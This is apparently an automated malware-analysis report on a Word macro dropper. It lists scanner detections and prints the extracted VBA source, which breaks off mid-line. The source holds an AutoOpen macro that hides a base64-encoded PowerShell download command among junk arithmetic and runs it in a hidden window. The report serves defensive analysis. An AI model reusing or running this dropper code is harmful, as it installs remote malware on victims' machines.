MALICIOUS
210
Risk Score
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6562596-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6562596-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
vJwJLBHBFD = Shell(rozFfIHMph + Chr(vbKeyP) + GRXpwPH + AioubG, vbHide) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub Autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 19779 bytes |
SHA-256: dc39ec3d09ab1fd2ab4164f5fff6ee03844e70c7bcf52436997b7d0c54f59263 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LwizJYbfCpKN" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function wFGVMUVJh() On Error Resume Next DZjKm = (ABoKA * zNDjZ - DKoHDv * Round(30200)) + (95831 - Rnd(sbBEIn) + 61408 + pWbhPo) bMjls = (RuUNap * wWkupN - anGrN * Round(38050)) + (60633 - Rnd(MwvnW) + 43097 + qMiFwb) wFGVMUVJh = paYLEkCB + HJtartZ + jvZdPzfkF + ljTtF + MiKGwzj + pFnTWvXjZcR + jPkfldlrPW + wazDL + WzZEdOG + AXTEGuZ + FhFMfaJu + uKqDzQXlun + jkQjhbFmT + LLOFrW jqhwBm = (mjsCj * oGrXYT - hWSmS * Round(14742)) + (30872 - Rnd(YQjOjs) + 13281 + KPRtv) End Function Sub Autoopen() On Error Resume Next RDkqdr = (UGjiYz * YufuW - NQIoAz * Round(65117)) + (81022 - Rnd(IGaHGF) + 29497 + cdYvE) wmGGStpZ (wFGVMUVJh) CjHsz = (PkXWIM * uwpiJ - nwaERt * Round(8100)) + (16787 - Rnd(CQzrJG) + 11675 + sHkwS) End Sub Function wmGGStpZ(AioubG) On Error Resume Next iDwuE = (GnzPB * Lcfpz - jWhHZR * Round(5923)) + (88124 - Rnd(rwWYwU) + 51728 + ATwznm) Riqsv = (ZCHrOv * bihrKj - qcqEw * Round(69837)) + (71315 - Rnd(WAtvkS) + 81079 + aKwKRt) vJwJLBHBFD = Shell(rozFfIHMph + Chr(vbKeyP) + GRXpwPH + AioubG, vbHide) hhZlP = (mHoHX * orlwL - ujGzTK * Round(44663)) + (72234 - Rnd(GjMWzw) + 25109 + XXzVI) End Function Attribute VB_Name = "tEoNtBzpOmSX" Function paYLEkCB() On Error Resume Next whTDrP = (JoYJml * bJEOq - VAOQf * Round(95697)) + (63939 - Rnd(ckDQF) + 80204 + DzFMJ) jHWTMkzT = "owers" + "HeLL -WinDow" + "sTyle hidd" + "en -e Jg" vpoMh = (cTpto * javSD - tijjE * Round(39815)) + (86992 - Rnd(vzYJzB) + 63771 + aLaDz) oIzwacJrH = "AgACg" + "AIAAkAFMASABF" + "AGwATABpAGQ" + "AWwAxAF0A" + "KwAkAHM" + "AaABlAGwATABpA" + "EQAWwAxADMAXQ" + "ArACcAeAAnACkAK" + "AAgACgAKAAiAHsA" FjnqPM = (PGkwh * aZOlU - AWcvf * Round(88904)) + (73940 - Rnd(SAksz) + 48889 + dztNF) zCscqZRjpPB = "MQAzAD" + "MAfQB7ADAA" + "fQB7ADUANQB9AH" + "sANAA5AH0AewA1" + "ADgAfQ" + "B7ADY" + "ANwB9AHsANgAw" IjtnNR = (GoLaFj * JclIwc - GOVrwI * Round(10254)) + (95445 - Rnd(VYOnsq) + 67529 + RcDQd) WdRIPhRrjDF = "AH0Ae" + "wAxAD" + "AANAB9AHsA" + "MQAxADQA" + "fQB7ADUAM" + "gB9AHsAMQA" KmQcEA = (kQcqC * XvRId - OpCrw * Round(9340)) + (35968 - Rnd(drTZZc) + 50033 + FfjAz) DJfCMJXQ = "2ADgAfQB7AD" + "gANQB9AHsAMQA" + "5AH0Aew" + "AxADQAfQB7AD" + "YAMwB9AHsAMQA" + "wADcAf" + "QB7AD" + "QANAB9AHsA" + "OQA0AH0AewAx" paYLEkCB = jHWTMkzT + oIzwacJrH + zCscqZRjpPB + WdRIPhRrjDF + DJfCMJXQ End Function Function HJtartZ() On Error Resume Next lHmzp = (LLzUa * PzIvT - mGktz * Round(6698)) + (31277 - Rnd(rMqlcc) + 22107 + EuEzO) GfazHmjH = "ADUAOQB9AH" + "sANQA5AH0AewA" + "xADIANwB9AHsAM" + "QAyADUAfQB7" + "ADEAN" + "QA4AH0AewAxADM" + "AMgB9AHsAMQ" + "A2ADcAfQB7" iRrzwS = (aDJMI * qbrKi - PhzVNr * Round(96118)) + (92906 - Rnd(uNqUI) + 84815 + TCzFw) DzrcfjwF = "ADIANAB9AHs" + "AMQAzAH0AewA" + "5ADgAfQB" + "7ADMAMgB9AHsAM" + "QA1AH0AewAyADY" + "AfQB7ADYA" QIjZT = (VbNkW * zMiwd - AVAjp * Round(36441)) + (83948 - Rnd(WRIpM) + 57141 + CQqooX) JJwVG = "NQB9AHsANQA" + "0AH0AewA4ADE" + "AfQB7ADEA" + "MgA4AH0" + "AewAxADYANgB9AH" + "sANQB9A" + "HsANA" blhcUC = (fqWYp * cMkTN - TrDTXY * Round(85301)) + (68467 - Rnd(vsHpkQ) + 89921 + wNwpr) zXWwTY = "A1AH0Ae" + "wAzADUA" + "fQB7ADgANgB9AHs" + "AMwB9AHsAO" + "AAwAH0A" + "ewAxADQAMQB9AH" + "sAOAA4" HJtartZ = GfazHmjH + DzrcfjwF + JJwVG + zXWwTY End Function Function jvZdPzfkF() On Error Resume Next blQWZG = (jXaGEs * SJEcS - jwPjF * Round(77320)) + (64739 - Rnd(lGPscA) + 55233 + HBTdGP) qIcsCA = "AH0AewA4ADc" + "AfQB7A" + "DQAOAB9AHsAN" + "gB9AHsAMQAwADEA" + "fQB7ADEAN" + "QA0AH0Aew" + "AxADUANQB9AHsAN" + "wA1AH" hijYX = (pIWWiH * VjRkYr - RKNbru * Round(69285)) + (3421 - Rnd(IpGTd) + 65871 + YQJBw) lfGJI = "0AewA" + "1ADcAfQB7AD" + "EANAA" + "wAH0AewAxADMAM" + "QB9AHsAMgA" + "wAH0AewA2A" + "DQAfQB7ADEANQA" tVwtzM = (jiEOUD * UEjdM - ENhXnz * Round(75911)) + (60059 - Rnd(UOqwTR) + 85330 + wuXaUa) zYEzCCfuL = "zAH0AewAxADI" + "AMAB9" + "AHsAOQAwAH0A" + "ewA5ADYAfQB7A" + "DcAMwB9A" + "HsAMQA1ADAAf" + "QB7ADEAMgAzAH0A" + "ewA0ADYAf" + "QB7ADMANgB9AHsA" szaMjT = (jpIsjn * FAZwpN - YWjEcb * Round(64155)) + (66514 - Rnd(Nkmzfo) + 48870 + wZkhBp) tZXKjUpu = "MQA0AD" + "IAfQB7AD" + "kANwB9AHsAMQ" + "AzADcAfQ" + "B7ADkAOQB9" kECtuw = (iMuUcq * DrCwA - HtqvRa * Round(95575)) + (94749 - Rnd(dHWjI) + 38238 + Zonqi) BQjKtXF = "AHsAMQAwADIAfQ" + "B7ADE" + "AMAA1AH0AewA4A" + "DMAfQ" + "B7ADYAMgB" + "9AHsAMgA4AH0Ae" + "wA5ADIAfQB" + "7ADEA" ZCLLi = (uiijA * SqNGbU - jOjmz * Round(93060)) + (64690 - Rnd(fSOKJM) + 3037 + okFrd) XwKKQnFzzq = "MQAzAH0Ae" + "wAxADYAMg" + "B9AHsAMQA" + "yADkAfQB7" + "ADgAfQB7AD" + "EANgA1AH0Aew" + "AxADUANwB9AHs" + "AMQA1A" + "DIAfQ" hvYWm = (cKSMTp * rqPNP - jPPTZ * Round(82571)) + (63959 - Rnd(WZWWc) + 44269 + joObJr) HLHvZoCEDCF = "B7ADEAMwA2AH0" + "AewA5ADUAf" + "QB7ADUAM" + "AB9AHsAMQA" + "wADAAfQB7ADMAM" + "AB9AHsAMwA5AH0" + "AewAxADQAN" + "gB9AHsAMQA" + "zADgAfQB7A" VzCqU = (JdYWq * znSbwf - YGlwq * Round(83767)) + (35724 - Rnd(LBBmF) + 18416 + tQRjW) slXFTpn = "DYAOAB9AHsAM" + "QA0ADMAfQB7A" + "DEANQAxAH0Aew" + "A0ADIAfQB7ADE" HtAzf = (ZrONQw * TEkCM - BnwbXj * Round(72694)) + (63118 - Rnd(tBKOIi) + 32298 + lwLFs) ASjjzj = "AMQAyA" + "H0AewAxADcAfQ" + "B7ADEANAA5AH" + "0AewA0ADMAf" + "QB7ADE" + "AMgAxAH0Ae" zokqAq = (JNFkU * JRcPtF - zMCBnV * Round(4584)) + (83777 - Rnd(GBtIHA) + 75359 + tlqKko) XZwmcf = "wA5ADMA" + "fQB7ADEAMgB9AH" + "sAMQAz" + "ADAAfQB7ADEA" jvZdPzfkF = qIcsCA + lfGJI + zYEzCCfuL + tZXKjUpu + BQjKtXF + XwKKQnFzzq + HLHvZoCEDCF + slXFTpn + ASjjzj + XZwmcf End Function Function ljTtF() On Error Resume Next inAHv = (jRAui * ljCioZ - HErMa * Round(17284)) + (57824 - Rnd(WHOnMY) + 96202 + zVvvq) LZkZCG = "MQAxAH0Ae" + "wA4ADkAfQB7A" + "DEAMAAzAH0A" + "ewAxADE" + "AMAB9AHs" + "AMQAzADkAfQB7A" + "DEAMQA" + "4AH0AewA" jsNZQ = (CqHCk * hAmbZw - SKJlH * Round(41952)) + (23832 - Rnd(MCIsdT) + 65031 + wwBsc) uGISGXzitIw = "4ADIAfQB7AD" + "EAMgAyAH0AewA" + "xADEA" + "OQB9AHsAMQ" + "A2AH0Ae" + "wAyADcAfQB7ADUA" + "MwB9A" + "HsAMQ" + "AwADYAf" fAMDlr = (kYwziX * ZGGDD - qnwJG * Round(15022)) + (98634 - Rnd(ndXFoj) + 58722 + ZDkVq) aSEGBkIsiOW = "QB7ADgANA" + "B9AHsAMQAy" + "ADYAfQB7ADcAOA" + "B9AHsAM" + "QA1ADYAfQB7AD" + "EANgAxAH" + "0AewAyADMAf" + "QB7ADEAN" + "gAwAH0AewAy" + "ADUAfQB7ADMAN" iMvzvS = (srwpPw * CCwdrR - vYsprk * Round(32271)) + (63968 - Rnd(TiXNJ) + 73773 + HMjkv) BHRoRrh = "wB9AHsAMQB9AHsA" + "NAAwAH0Aew" + "A0AH0Ae" + "wAxADYANAB9AHsA" + "MQAxAD" + "YAfQB7ADEAMA" + "A5AH0AewAyADkA" + "fQB7ADkAfQB7ADM" + "ANAB9AHsANwAwA" ZPZjmG = (HGdZj * nDKDii - oiGrj * Round(67885)) + (30870 - Rnd(pRLjAJ) + 98774 + PIwKKv) ZwvaObV = "H0AewAz" + "ADEAfQB7ADY" + "AMQB9A" + "HsAMgAyAH0A" + "ewAxADEA" + "NwB9AHsAN" + "AAxAH0" ljTtF = LZkZCG + uGISGXzitIw + aSEGBkIsiOW + BHRoRrh + ZwvaObV End Function Function MiKGwzj() On Error Resume Next FzhZz = (wIzGk * uJhzCq - RpRsfZ * Round(76445)) + (52173 - Rnd(vkUAsR) + 2981 + CJQdsI) uvUQcdmr = "AewA2ADYAfQB7AD" + "EAOAB9AHsAMQA" + "xAH0AewAxADM" + "ANAB9AHsAMg" + "AxAH0AewA5AD" + "EAfQB7ADYAO" + "QB9AHs" + "ANwB9AHs" + "ANAA3AH0AewA3A" ZQMES = (IvTbiX * FBALjC - NmjEd * Round(14791)) + (76599 - Rnd(tZFYjE) + 36253 + NjIMm) NBalh = "DQAfQB7A" + "DcANwB9" + "AHsAMQAzA" + "DUAfQB7ADEA" + "NAA3AH0Ae" AYOtOo = (JFtqu * njIbL - KBuWFr * Round(67821)) + (73950 - Rnd(ncbpbY) + 73928 + qjtzz) iGsDacKuI = "wA1AD" + "EAfQB7ADcAMQB9A" + "HsAMQAxADUAf" + "QB7ADM" UMhlDf = (FHwSbm * CICiC - WdRBT * Round(53105)) + (1516 - Rnd(RsRuN) + 33914 + KYFfG) FfAzXEj = "AMwB9AH" + "sAMQAyADQAfQB" + "7ADcANgB" + "9AHsAMQA0ADgAf" + "QB7ADEANAA0AH0" + "AewAzADgAfQB7" hUiWz = (jIhjOw * OrujSc - MnPfYO * Round(41077)) + (61760 - Rnd(kwzvIo) + 16732 + iTqUNj) jNrEQJjM = "ADUANgB9" + "AHsAN" + "wAyAH0" + "AewAxADAAOAB9" + "AHsAMQA2ADM" + "AfQB7AD" DzdDi = (rnDbr * EzwlQA - zjPBb * Round(49696)) + (66478 - Rnd(CwmKz) + 6463 + cakRz) EYSCsu = "EAMAB9AHsAMQA0A" + "DUAfQB7ADI" + "AfQB7ADcAOQB9" + "ACIAIAAtAGYA" + "JwBuAHMA" + "JwAsACcAZgBjAC" tJwTQt = (nfhZT * mbowBd - IooQR * Round(84986)) + (82870 - Rnd(XYAwC) + 74545 + aSiLf) daDIBiBcO = "AAaQBuACAAc" + "gAnAC" + "wAJwB" + "7ACcALAAn" + "AGwAaQBlA" + "G4AdAAnACwAJwBE" + "AEMAJ" + "wAsACcAbQAuACc" + "ALAAnAD0AI" TWQMqB = (codjo * UEUfBY - DQHhb * Round(32936)) + (20948 - Rnd(BVOpzV) + 77559 + YEaqa) lCWiLVL = "AByAEMAUw" + "BuACcALAA" + "nAG0AcgB3A" + "GkAJwAs" + "ACcAbwBuAGQ" + "AZQByACcAL" + "AAnAHIAQw" juQKF = (zFmjn * bDPjkZ - jaSPuq * Round(54020)) + (61918 - Rnd(wbbici) + 63031 + QRLsi) zaLBGhviKsA = "BTAFkA" + "WQAnACwAJwB" + "9ACcALAAnADEA" + "OAAnAC" iiCUuk = (oTBzq * QfWTdm - JLFEA * Round(93386)) + (44471 - Rnd(TTNwB) + 59585 + hrWivk) KiDiHE = "wAJwBpACcALAAn" + "AEIAZAAnACwAJw" + "BCAGQAK" + "QAgAHIAYQAn" + "ACwAJwBiA" MiKGwzj = uvUQcdmr + NBalh + iGsDacKuI + FfAzXEj + jNrEQJjM + EYSCsu + daDIBiBcO + lCWiLVL + zaLBGhviKsA + KiDiHE End Function Function pFnTWvXjZcR() On Error Resume Next IZjlh = (htwiG * mXdzU - NzVznA * Round(80433)) + (35920 - Rnd(wfzvqc) + 2158 + fVOPH) zAbTjkRj = "GoAZQBjA" + "HQAJwAsACcAU" + "ABzAHEAQgBk" + "ACAAJwAsA" + "CcAbgBtAGUAJ" + "wAsACcAdwBs" + "AGUAJwAsACcAYwB" + "xAEIA" ZVfrj = (MEuCki * mIlivO - jOAnQs * Round(72292)) + (39210 - Rnd(bFiGiv) + 58358 + IJaUt) MTdSd = "ZAArAH" + "EAQgBkAH" + "QAcQAnACwAJw" + "BBAEQA" + "QwBYACAAPQAgA" + "CcALAAnAG" vKHsOu = (nSAYlL * rbnGr - SwCcF * Round(82883)) + (57698 - Rnd(ZmoNpd) + 10628 + IAXZDo) JVXikmYzlQj = "MALgAxADg" + "AJwAsACcAbgAn" + "ACwAJ" + "wBkACkAO" + "wAnACwAJwBkACsA" + "cQAnACwAJwBy" + "AGUAYQBjACcA" + "LAAnAHEAQgB" + "kACcALAAnACsAIA" + "ByACcALAAnAGk" hhskJQ = (VTdnSw * fmXQQ - jMKwh * Round(29181)) + (29001 - Rnd(njSCi) + 19110 + uNGUM) ilDGoXOYY = "AdAAvAHAANA" + "AnACwAJwB" + "7ACcALA" + "AnAGkAdABzAG8A" + "bAB1AHQ" + "AJwAs" + "ACcAdwAnACwAJ" + "wBvACcALAAnAH" + "EAJwAsACc" QUkCKG = (cNzIn * GUXwCu - OhkKk * Round(77211)) + (78212 - Rnd(lYQwEV) + 30623 + ZuXIup) jDDGzYM = "AVQAuADEAOABUAE" + "QAbwA" + "nACwAJw" + "B0AC4AVwB" + "lAGIAJwAs" + "ACcANgBNACcAL" jJPEDB = (REZKd * kZRWSh - ojMiEq * Round(53266)) + (95856 - Rnd(fmHYH) + 764 + UjllO) ZRqhI = "AAnAGgAKAByAE" + "MAUwBhAHM" + "AJwAsACcA" + "QwBTA" + "CcALAAnA" + "GkAbwAnACwAJw" + "BDAFMAQQ" + "AnACwAJw" pFnTWvXjZcR = zAbTjkRj + MTdSd + JVXikmYzlQj + ilDGoXOYY + jDDGzYM + ZRqhI End Function Function jPkfldlrPW() On Error Resume Next LWurh = (zcAqM * lAwhzN - ZPZnC * Round(10858)) + (51633 - Rnd(Yzmhwd) + 63812 + pnMJT) wEmSCUtiRK = "BhAGQAJ" + "wAsACcAYQ" + "BuAHMAcw" + "AnACwAJwAuAG4" + "AbAAvAGsAT" + "gBCACcAL" + "AAnAG0AOwAnACwA" + "JwBOAGUAJwAsA" + "CcALwAnACwAJw" ZiwuaW = (EnkXMo * mirmGY - fNIQUD * Round(56105)) + (13735 - Rnd(nEGbpu) + 83510 + fEjTK) bMlPGOb = "BtACcALAAnAC" + "AAJwAsACcAYQBz" + "AGQAIAA9ACcAL" + "AAnAGgAd" + "AAnACwAJw" + "BTAFM" + "ARABDACcALAAnA" + "GUAcQA" Jjpok = (waCuW * RndGSW - twTGND * Round(85359)) + (83620 - Rnd(GCoHVK) + 98473 + iPsAwM) PjFSMrcUZ = "nACwAJwBDAF" + "MATgBTAEIAIAAr" + "ACcALAAnACAA" + "JwAsACcAYQBkA" + "CcALAAnA" + "FMARAB" + "DACkAJwA" + "sACcAMwAzAC" + "cALAAnACAAJ" LEvcD = (ZlNWQF * dblsPN - AGOZG * Round(77420)) + (94662 - Rnd(DizwkR) + 89844 + IPnEh) VfYiot = "gAnACw" + "AJwBZAF" + "kAVQAgA" + "D0AJwAsACc" + "AZABuAHEAQgB" + "kACsAcQAnACwAJw" + "BXACcAL" + "AAnAC" + "4AJwAsACcAbgBkA" + "CcALAAnAHE" jPkfldlrPW = wEmSCUtiRK + bMlPGOb + PjFSMrcUZ + VfYiot End Function Function wazDL() On Error Resume Next blEEJ = (DiAkj * BFpWVP - ziiZTV * Round(46734)) + (67542 - Rnd(dcbIm) + 68607 + dUCfuX) wXHto = "AQgBkAA0ACgBoA" + "HQAdABw" + "ADoALwA" + "vACcALAAnA" + "CkAJwAsACc" + "ARgBJAG" + "0AcgAnA" + "CwAJwAoAHEA" dMNrQ = (TmtXXj * sMljkT - BXIaGR * Round(51637)) + (22793 - Rnd(TkmZJ) + 9751 + GdHtw) zChnoqGimR = "QgAnACwAJwB" + "pAEEAaAA0AC8" + "AQABoAHQA" + "dABwACcA" + "LAAnAHIAJ" + "wAsACcAbQBy" iElCBl = (iSuam * GDmlz - IkZnk * Round(18925)) + (48013 - Rnd(ziFdan) + 20124 + EpDQou) caipKHPcuI = "ACcALAAnACkAOwA" + "mACgAcQBCAGQ" + "ASQBuAHYAbwBxA" + "EIAJwAsACcAO" + "wBiAHIAJwA" + "sACcAbwBlAHMAJ" + "wAsACcA" + "cgAnA" + "CwAJwA" AqMnl = (IUrIfq * JQAsc - RENRAz * Round(25271)) + (34002 - Rnd(wiiZNR) + 48328 + YWnoqK) WBslVzI = "wADAAMAAsACAAM" + "gA4ADI" + "AMQAnACwAJwB" + "lAG0AcQBCAG" + "QAKQAnAC" + "wAJwB3ACcALAAnA" + "HEAJwAsACcAfQB" + "9ACcALAAnAD" UuzDf = (oKnqdO * YLoYhJ - JZFcp * Round(69116)) + (37911 - Rnd(WpJauw) + 94097 + BJmLH) LPJktVZsoY = "sAcgAnAC" + "wAJwBTACcA" + "LAAnAHEAJwA" + "sACcAbwAnACwAJw" + "AoAHEAQgBkACcA" + "LAAnAHcA" + "LQBvAGIAa" + "gBlACc" + "ALAAnAEMAJw" wazDL = wXHto + zChnoqGimR + caipKHPcuI + WBslVzI + LPJktVZsoY End Function Function WzZEdOG() On Error Resume Next ujkCl = (MhOHj * EupUOv - MowjC * Round(39597)) + (78148 - Rnd(FmPuwQ) + 72960 + WsmwvP) ZTUEq = "AsACc" + "AUwBCACcALA" + "AnAFMATgAnACw" + "AJwBTAFMARAAnAC" aCtHuC = (huqqu * wChhww - vzMhW * Round(36337)) + (29330 - Rnd(cbzYz) + 99700 + iJMuZ) wDunXaAXWH = "wAJwBk" + "AGUAcwBvAGwAJ" + "wAsACcAVABUAG8" + "AUwB0ACcALA" FUEIVC = (ULEBzI * bpLlbn - FStSzj * Round(46075)) + (45232 - Rnd(VCWRq) + 58027 + ZAPjw) pEzDShrlCii = "AnAGsARQBv" + "AEkANwAvACcALAA" + "nAC4AU" + "wBwAGwAJwAs" + "ACcAcgAnAC" + "wAJwB" XvZoG = (pzbTmr * CLpXTL - njzcqD * Round(95299)) + (63761 - Rnd(kLHzov) + 95743 + Jcbiau) qPpfYvwbMb = "QAC8AQA" + "AnACwAJwB1AGMA" + "JwAsAC" + "cAZwA3AC" + "8AJwAsAC" + "cALQAnACwAJwB" + "oAHQAdAAnAC" + "wAJwB0AHAAOgAvA" + "C8AcABsAGEA" kaqczj = (wUBdnw * zDwILq - irLGN * Round(95127)) + (27507 - Rnd(jOMpQr) + 31008 + VkCHP) dqkBhdHkO = "bgAnACwAJwBz" + "ACcAL" + "AAnAHA" + "AOgAvAC8AbQBhA" + "GMAcgBvAHMAcAB" WzZEdOG = ZTUEq + wDunXaAXWH + pEzDShrlCii + qPpfYvwbMb + dqkBhdHkO End Function Function AXTEGuZ() On Error Resume Next zLHBvL = (cZOEb * jiVjm - ElnQw * Round(62241)) + (11357 - Rnd(qdYJis) + 85939 + AwLCCS) KHjbwUvOs = "hACcALAAnAEM" + "AJwAsA" + "CcAQgAnAC" + "wAJwB6AGk" + "AJwAsACcAI" + "AAnACwAJwBvACcA" + "LAAnAGUAYQBrA" + "CcALAAnAHkAJ" + "wAsACcA" + "IAA9AC" owlol = (izAPsK * KuJVp - jzBEVi * Round(25170)) + (79347 - Rnd(WXkMmi) + 97088 + NrUAH) COuSczO = "AAJwAsACcAcg" + "BDACcALA" + "AnAG0AYQAnACwA" + "JwBAA" + "GgAJwAsACcAZA" + "AnACw" + "AJwBkACsAcQBC" Yuphrj = (pqNZi * mtPFY - EdcfjX * Round(43000)) + (23550 - Rnd(wdVdbW) + 57009 + jBVGY) voIFrqjm = "AGQAa" + "wAnACwAJwApAH" + "sAdAByACc" + "ALAAnAGw" hWmDXL = (zlvID * vOIJV - dsNsw * Round(13964)) + (70794 - Rnd(ijEDl) + 60822 + vItUwA) tTiDZlJLWW = "AbQBy" + "AHcATwAnACwA" + "JwArACAAJwAsACc" + "AZABl" + "ACcALAAnA" wrZUY = (hwXrA * vpTiqw - CpOhsX * Round(45707)) + (9442 - Rnd(FOpWW) + 48191 + WSbjOb) QqLcw = "GEAJwAsACcASQBt" + "ADcALw" + "BxAEI" + "AZAAn" + "ACwAJwBCACcALAA" + "nAG0A" + "LgBiAHIAJwAsACc" + "AQgBkACsAcQBCAG" + "QAZQAtAEkAdAAn" + "ACwAJwBCA" LNDCkF = (dDXMwO * KhzARj - IBdNWv * Round(95228)) + (23859 - Rnd(NXaDC) + 37840 + UnwZcL) fjMsTq = "GQAJwAsACcA" + "LgBlAHgAJwAs" + "ACcAI" + "AAuACgAcQAn" + "ACwAJwB5" + "AHMAdAAnAC" AXTEGuZ = KHjbwUvOs + COuSczO + voIFrqjm + tTiDZlJLWW + QqLcw + fjMsTq End Function Function FhFMfaJu() On Error Resume Next KXKJM = (iizuvD * ZoNKd - oJoXL * Round(65035)) + (81641 - Rnd(cMSHOw) + 67294 + pLmla) EsjEzj = "wAJwB0AHAAOg" + "AvAC8" + "AJwAsACcAdAA" + "oAHEA" + "QgBkAEAAcQBCAG" iajHzH = (jZovK * IWAzb - tCVfn * Round(63817)) + (12407 - Rnd(GzCXsq) + 9575 + NrDijc) fEqsh = "QAKQA7ACcAL" + "AAnAFM" + "AJwAsACcAcQ" + "BCAGQAKwBxAEIA" ndLDaa = (pMLPhh * vsasi - jXRDU * Round(34089)) + (56366 - Rnd(IvsmR) + 12794 + BbdjCJ) WKFujGoQj = "ZAB3A" + "CcALAAnA" + "HIAQwBTACc" + "ALAAnAFQAK" + "AByAEMAUwBhA" + "HMAZgAnAC" + "wAJwBOAGc" + "AJwAsACcA" pMcIX = (SzdpE * PPMIj - zohQS * Round(56613)) + (31548 - Rnd(atQwMb) + 98636 + hEbLt) vwNtH = "OABwAC" + "cALAAnAEAAJwAsA" + "CcAYwBvAC4Ab" + "gB6AC8AdABM" + "AEwAJw" + "AsACcAc" + "gBDAFMAZQBuA" qJSCh = (rTpTtX * VcZtw - zvZijd * Round(56316)) + (39134 - Rnd(hHhYOq) + 96659 + wPvTi) iMLSBbZdPUz = "HYAOgBwAH" + "UAYgBsAGkAYwAgA" + "CcALAA" + "nACkAOwBy" + "AEMAJwAsA" + "CcAQwA" + "nACwAJwBnACcALA" FhFMfaJu = EsjEzj + fEqsh + WKFujGoQj + vwNtH + iMLSBbZdPUz End Function Function uKqDzQXlun() On Error Resume Next DzDoW = (vIKcSw * RalZE - zlimVJ * Round(29490)) + (44078 - Rnd(biDZO) + 78706 + ldoHq) FjqzlESSG = "AnADoAL" + "wAvAG" + "YAJwAsACcAcgA" + "nACwAJwBj" ZwFFRi = (zMprqi * VKhfG - qjjYt * Round(65916)) + (43457 - Rnd(pIlzmD) + 24798 + hQrkpH) tEjLBOioMl = "AGEAdABjAGgA" + "JwAsACcA" + "bgBzA" + "C4AJwAsACc" + "AMQA4AFQA" oLjfU = (avIAj * sPjMj - lHDEt * Round(6236)) + (60809 - Rnd(jdRoW) + 33527 + RsNJCC) qEiBqwHzSWt = "KAApACwAIAByAEM" + "AJwAsACcAK" + "AAnACwA" + "JwBkAGkAYQAnAC" + "wAJwAuAGMAbwA" PNczDz = (WADHc * ALjRj - MRwdTi * Round(33880)) + (43760 - Rnd(XTCjFp) + 84456 + cwzinM) tYcEhEJWS = "nACwAJwBy" + "ACcALAAnAG" + "kAcABzA" + "C4Abg" + "BsAC8A" + "bQBQAHM" + "AJwAsACcAdAByAG" + "kAJwAsACcAYQ" + "BkAGEAJwAsA" NhtNjF = (vdDqi * jISma - zhBaXO * Round(15800)) + (41812 - Rnd(VjRYE) + 39066 + mlEnU) BajWUYjBvz = "CcAcwBkAC4AbgB" + "lAHgAdAAoA" + "DEAMAAnACwAJw" + "BCAGQAKwBxAEIAZ" YYdOL = (GTdNH * NuMGVw - kBawlR * Round(50332)) + (96453 - Rnd(WhhmZ) + 69903 + cwIDi) MspbinY = "ABlACcALAAnA" + "HMAdAAnACwAJwBu" + "AGUAJwAsAC" + "cAQwBTACcALAA" + "nAGYAb" + "wAnACwAJwBxA" + "EIAJw" + "AsACc" + "AdAAnACwA" uKqDzQXlun = FjqzlESSG + tEjLBOioMl + qEiBqwHzSWt + tYcEhEJWS + BajWUYjBvz + MspbinY End Function Function jkQjhbFmT() On Error Resume Next orTJj = (ZDfPFM * Nzcszl - mwwfUS * Round(56241)) + (71357 - Rnd(JMvsUM) + 67401 + bljYPq) ujRwC = "JwA7ACcALAAn" + "AFgAJwAs" + "ACcAbgBlAG0A" + "ZQByAC" + "cALAAnAGU" + "AJwAsACcAcQB" + "CACcALAAnAE" bapWL = (ELRHc * unpNNo - VCKUP * Round(1946)) + (28692 - Rnd(QMBCXG) + 57575 + udGZi) nukLoUM = "IAZAArAHEAQg" + "BkACcA" + "KQApAC4AcgBFAHA" + "AbABhAEM" + "ARQAoACgAWwBjA" + "GgAYQ" BdksV = (pmXVkv * PRFaV - BozQEF * Round(71582)) + (32673 - Rnd(ukGPlQ) + 2186 + jWfaJd) RLCUpQmmw = "BSAF0AMQAx" + "ADQAKwBbAGMAaAB" + "hAFIAXQA2" + "ADcAKwB" + "bAGMAaABhAFIAX" + "QA4AD" fSclOm = (CkcjRC * fnjXG - nOVJEO * Round(71320)) + (41700 - Rnd(pWsKK) + 69663 + dzCzFh) NPzKSLYi = "MAKQAsAFsAU" + "wBUAHIAaQB" + "OAGcAXQBbAGMAa" + "ABhAFIAXQAzADYA" + "KQAuAHIARQBwAG" + "wAYQBDAE" + "UAKAAnAG" mEzwS = (jvDCl * QzShA - TzvGo * Round(13470)) + (84144 - Rnd(tKkUIm) + 10985 + iEFPSR) StqfXsH = "UAUABzACcA" + "LAAnAFwAJwApAC" + "4AcgBFA" + "HAAbABhA" + "EMARQAoACg" + "AWwBjAGgAYQBSA" + "F0AMQAxADMAK" + "wBbAGMAaABhAFIA" tSpYJ = (pKSCv * iafQsG - KZLjuw * Round(91008)) + (46297 - Rnd(OckjB) + 60609 + owiiK) BHGCZrBK = "XQA2ADYAKwBbA" + 